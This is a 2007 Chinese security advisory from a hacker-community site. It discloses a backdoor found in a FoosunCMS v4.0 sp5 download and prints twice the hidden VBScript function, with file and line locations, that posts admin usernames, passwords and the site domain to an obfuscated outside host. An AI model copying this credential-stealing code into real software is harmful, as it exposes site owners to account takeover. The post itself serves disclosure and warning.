文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
FoosunCMSv4.0sp5带模板完整版存在恶意后门代码

www.hx99.org 阅读: 时间:2007-10-25 整理:华西黑盟
------------------------------------------------------------------
 
今日在做淘特CMS一键导入其它CMS数据时,轮到下载风讯最新的CMS代码,下载后的文件名为:FoosunCMS免费版v4_Sp5_完整版含模板.rar
解压后登录后台,结果却出现以下提示:下面是源文件
<script language='javascript'>alert('登陆过期,请重新登陆');window.top.location='http://192.168.1.114/Admin/login.asp?URLs=http://localhost/admin/index.asp?';</script>
有点纳闷!!怎么会自动出现个192.168.1.114IP呢,估计是程序测试时加入的吧,也许是个BUG。

于是直接输入登录地址:http://localhost/admin/login.asp
输入用户名和密码,提交登录。此次是OK了。
不过我的环境却检测到有数据包发送到:http://www.www512.cn/js/wz.asp这个地址。
到网上找到http://www.www512.cn,发现这只是个论坛,并不是风讯的网。奇怪!!
于是搜索包括www.www512.cn代码,结果没有找到,终于在FS_Inc文件夹下找到Md5.asp文件,发现以下代码
Public Function GETtoPostern(user,pass)
  dim sql
  dim http
  dim domain
  domain=Request.ServerVariables("SERVER_NAME"&Request.ServerVariables("HTTP_url"
  sql="name="&user&"&pass="&pass&"&domain="&domain
  set Http=server.createobject("MSXML2.XMLHTTP"
  Http.open "Post","http://www.www%35%31%32.cn/js/%77%7A%2Easp",false
  Http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
  Http.send sql
  set http=nothing
  GETtoPostern=sql   
End Function
呵呵,一目了然了。
这段程序居然将你的用户名密码和网站地址(见:sql="name="&user&"&pass="&pass&"&domain="&domain)打包数据发送到http://www.www%35%31%32.cn/js/%77%7A%2Easp(用了urlencode,转过来就是http://www.www512.cn/js/wz.asp,怪不得搜索不到!!)
恐怖吧,你的网站一旦上线,用户名和密码就被发给别人了。

实在是巧合才发现了这个问题,如果不是升级模块的话,也不知会有多少用户....,希望看到此贴(不是漏洞,公布出来不会以为恶意竞争吧。:)),和foosun熟悉的朋友通知他们下,我在其论坛发了贴没有回应。
 
下载地址
http://www.foosun.net/FsDown/Dow ... 19_38_F83ID_66.html

fs_inc\md5.asp
行126开始
以下为引用的内容:
Public Function GETtoPostern(user,pass)
  dim sql
  dim http
  dim domain
  domain=Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("HTTP_url")
  sql="name="&user&"&pass="&pass&"&domain="&domain
  set Http=server.createobject("MSXML2.XMLHTTP")
  Http.open "Post","http://www.www%35%31%32.cn/js/%77%7A%2Easp",false
  Http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
  Http.send sql
  set http=nothing
  GETtoPostern=sql   
End Function

admin\chklogin.asp

行98

call GETtoPostern(Session("Admin_Name"),p_TempUserPass)

   -------------------------------------------------------------------------------------------
  上一篇:Python ImageOP模块多个整数溢出漏
  下一篇:化繁为简 114论坛漏洞快速利用法(图)
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号